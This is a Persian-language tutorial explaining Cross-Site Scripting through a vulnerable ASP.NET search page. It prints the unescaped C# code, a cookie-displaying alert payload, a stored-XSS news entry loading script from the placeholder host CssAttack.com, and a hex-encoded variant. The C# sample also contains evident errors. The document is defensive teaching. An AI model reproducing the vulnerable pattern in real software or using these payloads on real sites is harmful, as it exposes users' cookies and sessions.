حمله به برنامههای وبی (۲):
Cross-Site Scripting
این
نوع حمله خیلی
مشابه به
حملات تزریق
اسکریپت است و
در مواقعی
اتفاق میافتد
که کد اسکریپت
توسط صفحات
پویای وب سایر
سایتها در
مرورگر وب
وارد شود. در
این نوع
حملات، هدف
هکر خود سایت
نیست، بلکه
کاربران آن مد
نظر میباشند.
فرض کنید که یک
سایت عبارات
جستجو را با
استفاده از
مجموعه
QueryString (در
صورتی که برنامه با استفاده از فناوری .NET توسعه
داده شده
باشد) و از
طریق متد
HTTP Get
دریافت میکند،
و سایر سایتها
میتوانند
عبارات جستجو
را با عبارت
پرس و جوس
Search
ارسال کنند. YourSite.com?Search=asp.net
صفحه
جستجو رشته
پرس و جو را
خوانده و در
پایگاه داده
به دنبال
عبارت مورد
نظر میگردد و
در نهایت
نتیجه جستجو
را نمایش میدهد.
در صورتی که
دادهای
متناسب با
عبارت مورد
نظر در پایگاه
داده وجود
نداشته باشد،
پیامی مبنی بر
یافت نشدن جواب
تولید و نمایش
داده خواهد
شد.
در
صفحه جستجو
قالبی کدهای
زیر وجود
دارند:
void Page_load(Object Src,EventArgs E)
{
String sSearchStr="";
NameValueCollection ColQstr = Request.QueryString;
String[] qStrAry = colQstr.AllKeys;
for (int i
= 0; i<= qStrAry.GetUpperBound(0);
i++)
{
if (qStrAry[i]
== "search")
{
String[] qStrAry = colQstr.AllKeys;
for (int j = 0; j<=qStrAryVal.GetUpperBound(0); j++)
{
sSearchStr = qStrAryVal[j];
break;
}
}
}
if (sSearchStr.Trim() !=
"")
{
if (SearchDataStore(sSearchStr) == false)
lblResult.Text = "The search keyword
" + sSearchStr +
" did not produce any results. Please try again.";
}
}
bool SearchDataStore(String sSearchStr)
{
/*Perform the search against the datastore
and display the
result. if there are no results
then return false.*/
return false;
}
رویداد
Page_Load
پارامتر Search
را در QueryString خوانده و
مقدار آن را
بازیابی میکند.
سپس با
فراخوانی متد SearchDataStore اقدام
به بازیابی
نتایج رشته
جستجو مینماید.
در صورتی که
موردی در
پایگاه داده
یافت نشد
مقدار
بازگشتی این
متد false
خواهد بود.
بعد از این
فرایند
رویداد Page_Load نتایج
جستجو را
نمایش میدهد
(اگر بازگشتی
متد true
باشد
رکوردهای یافت شده و در
صورتی که false باشد
پیغام خطای
مناسب). تا
اینجا همه چیز
روال عادی خود
را طی میکند.
حال فرض کنید
یک کاربر و یا
سایتی دیگر
عبارت زیر را
تایپ نماید:
Process.Aspx?Search=<script>alert(CSS Attack); </script>
رویداد
Page_Load
رشته پرس و جو
را پردازش
نموده و پیام
زیر را نمایش
میدهد:
به
طریق مشابه،
کاربر میتواند
متن زیر را
وارد نماید:
<a
href="process.aspx?Search=<script>alert(document.cookie);</script>">Click
here </a>
با
کلیک لینک
توسط کاربر،
کنترل مرورگر
به یک سایت
دیگر منتقل میشود
و تمام
اطلاعات
cookie
های سایت اصلی
در پنجره
alert
نمایش داده میشود.
کد
JavaScript از داخل حاشیه امنیتی دامنه فعلی اجرا
میشود و بنابراین کدهایی قابل اجرا هستند که از خارج قابل اجرا
شدن نیستند.
به
طریق مشابه
امکان ارسال
اطلاعات Cookie
به یک سرور
دیگر نیز وجود
دارد.
نوع
دیگری از
حملاتی که به
این شیوه قابل
انجام است
بسیار
پیشرفتهتر
است. فرض کنید
یک سایت
اطلاعات
موجود در وب
در مورد
فناوری را
جمعآوری
نموده و در
اختیار
کاربران خود
قرار میدهد.
در این سایت
امکانی فراهم
آمده است که
کاربران میتوانند
آخرین اخباری
را که از
نظرشان جالب و
مناسب سایت
است را وارد
نمایند. در
صورتی که هیچ
گونه
اعتبارسنجی
بر روی داده
ورودی انجام
نشود، با وارد
شدن اطلاعات
توسط کاربر،
سیستم آن را
در پایگاه
داده خود
ذخیره نموده و
پیشنمایشی
از آن را
ارائه میدهد.
در این ساختار راه نفوذ
برای هکرها باز است و میتوانند با وارد کردن متنی مانند زیر به اهداف خرابکارانه
خود برسند:
News: Here is a Cross-Site
Script Attack
URL:
www.SomeSite.com/default.aspx?ID=<script
src='http://CssAttack.com/dostuff/js'></script>
اگر برنامه بدون اعتبار
سنجی URL، آن را
پذیرفته و در
پایگاه داده
وارد کند سایت
و بینندگان آن
در معرض حملات
Cross-site قرار
میگیرند. اگر
متن اسکریپتی
که وارد شده
است مستقیما
وارد پایگاه
داده شده و از
این پس به
صورت هفتگی
برای مشترکین
ارسال شود،
نتایج زیان
باری حاصل میشود.
هر کس که بر
روی لینک خبر
کلیک کند آدرس
URL را در
مرورگر خود مشاهده
خواهد کرد و
جاوا اسکریپت
بیان شده در SRC نشانه script اجرا میشود.
نمونه
دیگری از این
نوع حملات به
این صورت انجام
میشود که هکر
به جای
استفاده از
متن به فرمت
ASCII یا
Unicode از کد
حروف
hex استفاده
مینماید.
News: Here is a Croos-Site
Script Attack
URL:
http://77%2077%2077%202e%2053%206f%206d%2065%2073%2069%2074%2065%20
2e%2063%206f%206d/default.aspx?3c%2053%2063%2072%2069%2070%2074%2020%20
73%2072%2063%203d%2092%2044%206f%2053%2074%2075%2066%2066%202e%20
4a%2073%2092%203e%203c%202f%2053%2063%2072%2069%2070%2074%203e
حروف فوق در قالب ASCII
معادل
News: Here is a Cross-Site Script
Attack
URL: www.SomeSite.com/default.aspx?ID=<script
src='http://CssAttack.com/dostuff/js'></script>
میباشند.
با
مشاهده موارد
فوق مشخص میشود
که اعتبار
سنجی دادهها
در زمان ورود
اهمیت فوقالعادهای
دارد.
اسکریپتی که
در
URL ارائه میگردد
میتواند
اعمال بسیار
خطرناکی را
انجام دهد که
بستگی به
قابلیتهای
زبان اسکریپتنویسی
دارد. این
اعمال شامل
موارد زیر میباشند:
·
ممکن
است دادهها
تحریف شوند،
به عنوان مثال
ممکن است
محتویات یک
cookie تغییر
یابد.
·
یکپارچگی
اطلاعات به
خطر افتد.
·
اسکریپتهایی
با اهداف
خرابکارانه
در محیط سایتهای
مطمئن اجرا
شوند.
·
Cookie ها
مقدار دهی شده
و یا اطلاعات
آنها خوانده شود.
·
ورودیهای
کاربران مورد
استراق سمع
واقع شود.
·
کاربران
به سایتهایی
نامطمئن
هدایت شوند.
|